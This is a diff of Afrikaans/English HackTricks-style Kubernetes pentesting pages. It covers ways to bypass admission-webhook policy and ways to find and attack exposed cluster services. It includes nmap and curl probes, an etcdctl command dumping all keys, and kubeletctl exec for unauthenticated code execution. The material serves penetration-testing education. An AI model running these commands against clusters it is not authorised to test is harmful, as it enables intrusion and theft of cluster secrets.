-Kontroleer die bestaan van namespaces. Soms, as gevolg van outomatisering of verkeerde konfigurasie, mag sommige namespaces nie geskep wees nie. As jy toestemming het om 'n namespace te skep, kan jy 'n namespace met 'n naam in die `values` lys skep en beleid sal nie op jou nuwe namespace van toepassing wees nie.
+Kontroleer namespaces se bestaan. Soms, weens automation of misconfiguration, is sekere namespaces dalk nie geskep nie. As jy toestemming het om namespace te skep, kan jy ’n namespace skep met ’n naam in die `values` lys en policies sal nie op jou nuwe namespace van toepassing wees nie.
 
-Die doel van hierdie aanval is om **verkeerde konfigurasie** binne VWC te benut om operateursbeperkings te omseil en dan jou voorregte met ander tegnieke te verhoog.
+Die doel van hierdie aanval is om **misconfiguration** binne VWC uit te buit om operator restrictions te omseil en dan jou privileges met ander tegnieke te verhoog
+
+Ander algemene bypass- of abuse-patrone:
+
+- ’n `objectSelector` wat gebruikers toelaat om ’n opt-out label by hul eie objects te voeg.
+- `failurePolicy: Ignore` op security-critical validation, veral wanneer die webhook Service geen endpoints het nie of networking onbetroubaar is.
+- Policy engine exceptions vir users, groups, service accounts, namespaces, of roles wat wyer is as bedoel.
+- Ontbrekende dekking vir workload controller templates, `pods/ephemeralcontainers`, `pods/exec`, custom resources, of update operations.
+- Write access tot `validatingwebhookconfigurations`, `mutatingwebhookconfigurations`, Gatekeeper constraints, Kyverno policies, of exception resources.
+- ’n Kwaadwillige mutating webhook wat containers injeekteer, images verander, secrets mount, tolerations byvoeg, of service account selection verander voor validation.
+
+Onthou dat admission slegs requests beskerm wat deur die API server admission chain gaan. Static Pods, node-local runtime socket access, direkte kubelet abuse, en direkte etcd access is verskillende trust paths en vereis aparte hardening en monitoring.
 
 {{#ref}}
 abusing-roles-clusterroles-in-kubernetes/
 {{#endref}}
 
-## Verwysings
+## References
 
 - [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
 - [https://kyverno.io/](https://kyverno.io/)
 - [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
+- [https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/](https://kubernetes.io/docs/concepts/cluster-administration/admission-webhooks-good-practices/)
+- [https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/)
+
+
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md

@@ -2,15 +2,25 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-Kubernetes gebruik verskeie **spesifieke netwerkdienste** wat jy dalk **blootgestel aan die Internet** of in ’n **interne netwerk nadat jy een pod gekompromitteer het** kan vind.
+Kubernetes gebruik verskeie **spesifieke netwerkdienste** wat jy dalk **blootgestel aan die Internet** of in ’n **interne netwerk** kan vind sodra jy een pod gekompromitteer het.
 
 ## Finding exposed pods with OSINT
 
-Een manier kan wees om te soek vir `Identity LIKE "k8s.%.com"` in [crt.sh](https://crt.sh) om subdomeine wat met kubernetes verband hou te vind. ’n Ander manier kan wees om `"k8s.%.com"` in github te soek en te soek vir **YAML files** wat die string bevat.
+Een manier kan wees om te soek vir `Identity LIKE "k8s.%.com"` in [crt.sh](https://crt.sh) om subdomeine te vind wat met kubernetes verband hou. ’n Ander manier kan wees om `"k8s.%.com"` in github te soek en te soek vir **YAML files** wat die string bevat.
+
+Useful external recon signals to correlate before scanning:
+
+- DNS- en certificate transparency-name wat `k8s`, `kube`, `api`, `apiserver`, `eks`, `gke`, `aks`, `cluster`, `ingress`, `argocd`, `grafana`, `prometheus`, `harbor`, `registry`, `dashboard`, `dev`, `stage`, of streekname bevat.
+- Cloud load balancer-name, CNAMEs, tags, en provider hostnames wat ’n blootgestelde application of platform UI terug na ’n cluster kan koppel.
+- Publieke repositories, CI logs, Helm values, Terraform state, rendered manifests, container images, en dokumentasie wat kubeconfigs, API server URLs, namespaces, service accounts, `type: LoadBalancer`, `type: NodePort`, Ingress hosts, Gateway listeners, of dashboard settings lek.
+- Managed Kubernetes inventory, wanneer cloud credentials in scope is: EKS endpoint public/private access en publieke CIDRs, GKE public/private control-plane settings en authorized networks, en AKS private cluster/API server authorized IP settings.
+- Blootgestelde platform tools rondom die cluster soos Argo CD, Prometheus, Grafana, Harbor, registries, CI/CD dashboards, service mesh dashboards, en ingress-controller admin- of metrics-endpoints.
+
+Behandel dit as attribution- en prioritization-clues. ’n Publieke Ingress application is normaal in baie clusters, terwyl blootgestelde kubelet, etcd, dashboard, CI/CD deploy control, of gelekte kubeconfig-materiaal baie hoër geprioritiseer moet word.
 
 ## How Kubernetes Exposes Services
 
-Dit kan nuttig wees vir jou om te verstaan hoe Kubernetes dienste **publiek blootstel** om hulle te vind:
+Dit kan nuttig vir jou wees om te verstaan hoe Kubernetes services **publiek blootstel** om hulle te vind:
 
 {{#ref}}
 ../exposing-services-in-kubernetes.md
@@ -18,23 +28,23 @@ Dit kan nuttig wees vir jou om te verstaan hoe Kubernetes dienste **publiek bloo
 
 ## Finding Exposed pods via port scanning
 
-Die volgende ports mag oop wees in ’n Kubernetes cluster:
+Die volgende poorte kan in ’n Kubernetes cluster oop wees:
 
 | Port            | Process        | Description                                                            |
 | --------------- | -------------- | ---------------------------------------------------------------------- |
-| 443/TCP         | kube-apiserver | Kubernetes API port                                                    |
+| 443/TCP         | kube-apiserver | Kubernetes API-poort                                                   |
 | 2379/TCP        | etcd           |                                                                        |
 | 6666/TCP        | etcd           | etcd                                                                   |
 | 4194/TCP        | cAdvisor       | Container metrics                                                      |
-| 6443/TCP        | kube-apiserver | Kubernetes API port                                                    |
-| 8443/TCP        | kube-apiserver | Minikube API port                                                      |
-| 8080/TCP        | kube-apiserver | Insecure API port                                                      |
-| 10250/TCP       | kubelet        | HTTPS API which allows full mode access                                |
-| 10255/TCP       | kubelet        | Unauthenticated read-only HTTP port: pods, running pods and node state |
+| 6443/TCP        | kube-apiserver | Kubernetes API-poort                                                   |
+| 8443/TCP        | kube-apiserver | Minikube API-poort                                                     |
+| 8080/TCP        | kube-apiserver | Onveilige API-poort                                                    |
+| 10250/TCP       | kubelet        | HTTPS API wat volle mode access toelaat                                |
+| 10255/TCP       | kubelet        | Ongesertifiseerde read-only HTTP-poort: pods, running pods en node state |
 | 10256/TCP       | kube-proxy     | Kube Proxy health check server                                         |
 | 9099/TCP        | calico-felix   | Health check server for Calico                                         |
 | 6782-4/TCP      | weave          | Metrics and endpoints                                                  |
-| 30000-32767/TCP | NodePort       | Proxy to the services                                                  |
+| 30000-32767/TCP | NodePort       | Proxy na die services                                                  |
 | 44134/TCP       | Tiller         | Helm service listening                                                 |
 
 ### Nmap
@@ -43,15 +53,15 @@ nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-678
 ```
 ### Kube-apiserver
 
-Dit is die **API Kubernetes-diens** waarmee die administrateurs gewoonlik praat met behulp van die instrument **`kubectl`**.
+Dit is die **API Kubernetes-service** waarmee die administrateurs gewoonlik praat met behulp van die tool **`kubectl`**.
 
-**Algemene poorte: 6443 en 443**, maar ook 8443 in minikube en 8080 as onseker.
+**Algemene poorte: 6443 en 443**, maar ook 8443 in minikube en 8080 as insecure.
 ```bash
 curl -k https://<IP Address>:(8|6)443/swaggerapi
 curl -k https://<IP Address>:(8|6)443/healthz
 curl -k https://<IP Address>:(8|6)443/api/v1
 ```
-**Kyk na die volgende bladsy om te leer hoe om sensitiewe data te verkry en sensitiewe aksies uit te voer deur met hierdie service te praat:**
+**Kyk na die volgende bladsy om te leer hoe om sensitiewe data te verkry en sensitiewe aksies uit te voer deur met hierdie diens te praat:**
 
 {{#ref}}
 ../kubernetes-enumeration.md
@@ -59,9 +69,9 @@ curl -k https://<IP Address>:(8|6)443/api/v1
 
 ### Kubelet API
 
-Hierdie service **loop op elke node van die cluster**. Dit is die service wat die pods binne die **node** sal **beheer**. Dit praat met die **kube-apiserver**.
+Hierdie diens **loop op elke node van die cluster**. Dit is die diens wat die pods binne die **node** sal **beheer**. Dit praat met die **kube-apiserver**.
 
-As jy vind dat hierdie service blootgestel is, het jy moontlik 'n **unauthenticated RCE** gevind.
+As jy hierdie diens exposed vind, het jy moontlik ’n **unauthenticated RCE** gevind.
 
 #### Kubelet API
 ```bash
@@ -79,7 +89,7 @@ echo "curl -k --max-time 30 https://$ip:$port/pods"
 echo "curl -k --max-time 30 https://$ip:2379/version" #Check  also for etcd
 done
 ```
-#### kubelet (Lees slegs)
+#### kubelet (Slegs leesbaar)
 ```bash
 curl -k https://<IP Address>:10255
 http://<external-IP>:10255/pods
@@ -98,45 +108,68 @@ Jy kan hierdie service misbruik om privileges binne Kubernetes te eskaleer:
 
 ### cAdvisor
 
-Service nuttig om metrics in te samel.
+Service nuttig om metrics te versamel.
 ```bash
 curl -k https://<IP Address>:4194
 ```
 ### NodePort
 
-Wanneer 'n poort op al die nodes via 'n **NodePort** blootgestel word, word dieselfde poort op al die nodes oopgemaak en proksie die verkeer na die verklaarde **Service**. By verstek sal hierdie poort in die **range 30000-32767** wees. Nuwe ongekontroleerde services kan dus via daardie poorte toeganklik wees.
+Wanneer ’n poort via ’n **NodePort** op al die nodes blootgestel word, word dieselfde poort op al die nodes oopgemaak en die verkeer na die verklaarde **Service** geproxify. By verstek sal hierdie poort in die **reeks 30000-32767** wees. Dus kan nuwe, ongekontroleerde services via daardie poorte toeganklik wees.
 ```bash
 sudo nmap -sS -p 30000-32767 <IP>
 ```
-## Kwesbare Verkeerde Konfigurasies
+### Service mesh and proxy-oppervlakke
 
-### Kube-apiserver Anonieme Toegang
+Clusters wat **Istio, Linkerd, Cilium service mesh, of Envoy-based gateways** gebruik, voeg nog 'n service-laag by om te enumerate. 'n mesh kan mTLS, workload identity, L7 routing, authorization policy, telemetry, en gateway/egress controls verskaf, maar dit beskerm slegs traffic wat werklik by die mesh ingeskryf en onderskep word.
 
-Anonieme toegang tot **kube-apiserver API-endpoints word nie toegelaat nie**. Maar jy kan sommige endpoints nagaan:
+Nuttige checks vanaf Kubernetes access:
+```bash
+kubectl get ns --show-labels | egrep 'istio|linkerd|mesh|cilium'
+kubectl get crd | egrep 'istio.io|linkerd.io|gateway.networking.k8s.io|cilium.io'
+kubectl get mutatingwebhookconfiguration,validatingwebhookconfiguration | egrep 'istio|linkerd|cilium'
+kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,CONTAINERS:.spec.containers[*].name'
+kubectl get svc -A | egrep 'istio|envoy|linkerd|kiali|jaeger|prometheus|grafana|zipkin|hubble'
+```
+Review:
+
+- Namespaces or workloads that opted out of injection, still run without a proxy, or were created before injection was enabled.
+- mTLS mode. Permissive migration modes may still accept plaintext from unmeshed sources.
+- Istio `PeerAuthentication`, `AuthorizationPolicy`, `RequestAuthentication`, gateways, waypoints, and egress resources.
+- Linkerd policy resources, identity, Server/authorization objects, and exposed `linkerd-viz`, tap, or metrics surfaces.
+- Cilium service mesh and Gateway API resources, Hubble visibility, Cilium policies, and Envoy integration points.
+- Envoy admin, config dump, stats, metrics, tracing, dashboard, and debug endpoints. These can leak routes, upstreams, certificates, identity, and traffic state if exposed too broadly.
+
+Do not treat service mesh as a replacement for Kubernetes RBAC or NetworkPolicies. A mesh policy can block an HTTP request while an unmeshed Pod, skipped port, direct Pod IP path, gateway, egress proxy, or missing NetworkPolicy still leaves a practical route.
+
+## Vulnerable Misconfigurations
+
+### Kube-apiserver Anonymous Access
+
+Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints:
 
 ![Kubernetes API server anonymous access output listing exposed API paths](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)
 
-### **Kontroleer vir ETCD Anonieme Toegang**
+### **Checking for ETCD Anonymous Access**
 
-Die ETCD stoor die cluster secrets, configuration files en meer **sensitiewe data**. By **default**, kan ETCD **nie** **anoniem** verkry word nie, maar dit is altyd goed om dit te kontroleer.
+Die ETCD stoor die cluster secrets, configuration files en meer **sensitiewe data**. By **default**, kan die ETCD **nie** **anoniem** verkry word nie, maar dit is altyd goed om te kyk.
 
-As ETCD anoniem verkry kan word, mag jy nodig hê om die [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool** te gebruik. Die volgende command sal al die gebergde keys haal:
+As die ETCD anoniem verkry kan word, moet jy dalk die [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool** gebruik. Die volgende command sal al die keys wat gestoor is, kry:
 ```bash
 etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
 ```
 ### **Kubelet RCE**
 
-Die [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) verduidelik dat by **default anonymous acce**ss to the service **toegelaat** is:
+Die [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) verduidelik dat by **default anonymous acce**ss to the service **toegelaat word:**
 
-> Skakel anonymous requests na die Kubelet server aan. Requests wat nie deur another authentication method verwerp word nie, word as anonymous requests hanteer. Anonymous requests het `n username van `system:anonymous`, en `n group name van `system:unauthenticated`
+> Aktiveer anonymous requests na die Kubelet server. Requests wat nie deur ’n ander authentication method verwerp word nie, word as anonymous requests hanteer. Anonymous requests het ’n username van `system:anonymous`, en ’n group name van `system:unauthenticated`
 
-Om beter te verstaan hoe die **authentication and authorization of the Kubelet API works** werk, kyk hierdie bladsy:
+Om beter te verstaan hoe die **authentication and authorization van die Kubelet API werk** kyk na hierdie bladsy:
 
 {{#ref}}
 kubelet-authentication-and-authorization.md
 {{#endref}}
 
-Die **Kubelet** service **API is not documented**, maar die source code kan hier gevind word en om die exposed endpoints te vind is so maklik soos **running**:
+Die **Kubelet** service **API is not documented**, maar die source code kan hier gevind word en om die exposed endpoints te vind is net so maklik soos **running**:
 ```bash
 curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
 
@@ -150,11 +183,11 @@ Path("/runningpods/").
 ```
 Almal van hulle klink interessant.
 
-Jy kan die [**Kubeletctl**](https://github.com/cyberark/kubeletctl) tool gebruik om met Kubelets en hul endpoints te kommunikeer.
+Jy kan die [**Kubeletctl**](https://github.com/cyberark/kubeletctl) instrument gebruik om met Kubelets en hul eindpunte te kommunikeer.
 
 #### /pods
 
-Hierdie endpoint lys pods en hul containers:
+Hierdie eindpunt lys pods en hul containers:
 ```bash
 kubeletctl pods
 ```
@@ -165,13 +198,13 @@ Hierdie endpoint laat toe om code binne enige container baie maklik uit te voer:
 kubeletctl exec [command]
 ```
 > [!NOTE]
-> Om hierdie attack te vermy, moet die _**kubelet**_ service met `--anonymous-auth false` loop en die service moet op network level gesegregeer word.
+> Om hierdie aanval te vermy, moet die _**kubelet**_ diens met `--anonymous-auth false` uitgevoer word en die diens moet op netwerkvlak gesegregeer word.
 
-### **Checking Kubelet (Read Only Port) Information Exposure**
+### **Kontroleer Kubelet (Read Only Port) Inligtingsblootstelling**
 
-Wanneer ’n **kubelet read-only port** blootgestel word, word dit moontlik vir information om deur ongemagtigde partye vanaf die API herwin te word. Die blootstelling van hierdie port kan lei tot die disclosure van verskeie **cluster configuration elements**. Alhoewel die information, insluitend **pod names, locations of internal files, and other configurations**, moontlik nie critical is nie, bly die blootstelling daarvan ’n security risk en moet dit vermy word.
+Wanneer 'n **kubelet read-only port** blootgestel is, word dit moontlik vir inligting om deur ongemagtigde partye van die API af opgehaal te word. Die blootstelling van hierdie poort kan lei tot die bekendmaking van verskeie **cluster configuration elements**. Alhoewel die inligting, insluitend **pod names, locations of internal files, and other configurations**, dalk nie krities is nie, hou die blootstelling daarvan steeds 'n sekuriteitsrisiko in en moet dit vermy word.
 
-’n Voorbeeld van hoe hierdie vulnerability uitgebuit kan word, behels ’n remote attacker wat toegang verkry tot ’n spesifieke URL. Deur na `http://<external-IP>:10255/pods` te navigeer, kan die attacker moontlik sensitive information van die kubelet herwin:
+'n Voorbeeld van hoe hierdie kwesbaarheid uitgebuit kan word, behels dat 'n afgeleë aanvaller 'n spesifieke URL besoek. Deur na `http://<external-IP>:10255/pods` te navigeer, kan die aanvaller moontlik sensitiewe inligting van die kubelet af ophaal:
 
 ![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)